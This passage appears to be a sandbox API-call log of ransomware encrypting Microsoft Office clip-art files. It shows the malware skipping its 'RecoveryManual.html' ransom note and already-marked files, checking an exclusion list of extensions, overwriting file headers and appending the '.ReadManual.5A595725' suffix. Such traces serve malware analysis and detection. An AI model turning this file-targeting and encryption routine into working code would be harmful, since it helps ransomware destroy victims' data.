StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.344] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.344] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.344] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.344] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.344] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.344] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.344] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.345] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.345] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.345] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.345] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" [0267.345] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.ReadManual.5A595725" [0267.345] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.ReadManual.5A595725") returned 87 [0267.345] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38801348834) returned 1 [0267.345] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf")) returned 0x20 [0267.346] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.346] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1376) returned 1 [0267.346] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x560, lpName=0x0) returned 0x184 [0267.346] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.347] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.347] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.348] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.349] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x560) returned 0x2f0000 [0267.349] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.349] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38801747063) returned 1 [0267.349] CloseHandle (hObject=0x184) returned 1 [0267.349] SetSecurityInfo () returned 0x57 [0267.349] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.349] CloseHandle (hObject=0x194) returned 1 [0267.349] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1 [0267.349] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0157167.WMF" | out: lpString1="J0157167.WMF") returned="J0157167.WMF" [0267.349] lstrcmpiW (lpString1="J0157167.WMF", lpString2="RecoveryManual.html") returned -1 [0267.349] StrStrIW (lpFirst="J0157167.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.349] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.349] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.350] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.350] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" [0267.350] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.ReadManual.5A595725" [0267.350] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.ReadManual.5A595725") returned 87 [0267.350] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38801840739) returned 1 [0267.350] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf")) returned 0x20 [0267.350] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.351] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=46702) returned 1 [0267.351] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb66e, lpName=0x0) returned 0x184 [0267.351] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.351] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.352] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.353] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.353] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb66e) returned 0x2f0000 [0267.355] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.355] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38802364497) returned 1 [0267.355] CloseHandle (hObject=0x184) returned 1 [0267.355] SetSecurityInfo () returned 0x57 [0267.355] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.355] CloseHandle (hObject=0x194) returned 1 [0267.355] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1 [0267.355] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0157177.WMF" | out: lpString1="J0157177.WMF") returned="J0157177.WMF" [0267.355] lstrcmpiW (lpString1="J0157177.WMF", lpString2="RecoveryManual.html") returned -1 [0267.355] StrStrIW (lpFirst="J0157177.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.355] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.355] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.355] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.355] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.355] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.355] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.355] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.356] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.356] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.356] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.356] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.356] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.356] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.356] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.356] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" [0267.356] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.ReadManual.5A595725" [0267.356] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.ReadManual.5A595725") returned 87 [0267.356] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38802459874) returned 1 [0267.356] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf")) returned 0x20 [0267.356] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.356] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21716) returned 1 [0267.356] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x54d4, lpName=0x0) returned 0x184 [0267.356] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.358] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.358] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.359] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.359] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x54d4) returned 0x2f0000 [0267.360] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.360] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38802846191) returned 1 [0267.360] CloseHandle (hObject=0x184) returned 1 [0267.360] SetSecurityInfo () returned 0x57 [0267.360] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.360] CloseHandle (hObject=0x194) returned 1 [0267.360] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1 [0267.360] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0157191.WMF" | out: lpString1="J0157191.WMF") returned="J0157191.WMF" [0267.360] lstrcmpiW (lpString1="J0157191.WMF", lpString2="RecoveryManual.html") returned -1 [0267.360] StrStrIW (lpFirst="J0157191.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.360] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.360] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.361] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.361] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" [0267.361] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.ReadManual.5A595725" [0267.361] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.ReadManual.5A595725") returned 87 [0267.361] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38802941693) returned 1 [0267.361] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf")) returned 0x20 [0267.366] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.366] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17912) returned 1 [0267.366] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45f8, lpName=0x0) returned 0x184 [0267.366] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.367] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.367] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.369] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.369] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45f8) returned 0x2f0000 [0267.369] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.369] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38803813515) returned 1 [0267.369] CloseHandle (hObject=0x184) returned 1 [0267.369] SetSecurityInfo () returned 0x57 [0267.370] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.370] CloseHandle (hObject=0x194) returned 1 [0267.370] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1 [0267.370] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0157831.WMF" | out: lpString1="J0157831.WMF") returned="J0157831.WMF" [0267.370] lstrcmpiW (lpString1="J0157831.WMF", lpString2="RecoveryManual.html") returned -1 [0267.370] StrStrIW (lpFirst="J0157831.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.370] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.370] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.370] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" [0267.370] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.ReadManual.5A595725" [0267.370] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.ReadManual.5A595725") returned 87 [0267.370] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38803908409) returned 1 [0267.370] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf")) returned 0x20 [0267.371] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.371] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11396) returned 1 [0267.371] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c84, lpName=0x0) returned 0x184 [0267.371] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.372] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.372] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.373] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.373] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c84) returned 0x2f0000 [0267.374] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.374] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38804241151) returned 1 [0267.374] CloseHandle (hObject=0x184) returned 1 [0267.374] SetSecurityInfo () returned 0x57 [0267.374] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.374] CloseHandle (hObject=0x194) returned 1 [0267.374] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1 [0267.374] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0158071.WMF" | out: lpString1="J0158071.WMF") returned="J0158071.WMF" [0267.375] lstrcmpiW (lpString1="J0158071.WMF", lpString2="RecoveryManual.html") returned -1 [0267.375] StrStrIW (lpFirst="J0158071.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.375] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.375] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.375] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" [0267.375] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.ReadManual.5A595725" [0267.375] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.ReadManual.5A595725") returned 87 [0267.375] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38804383847) returned 1 [0267.375] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft 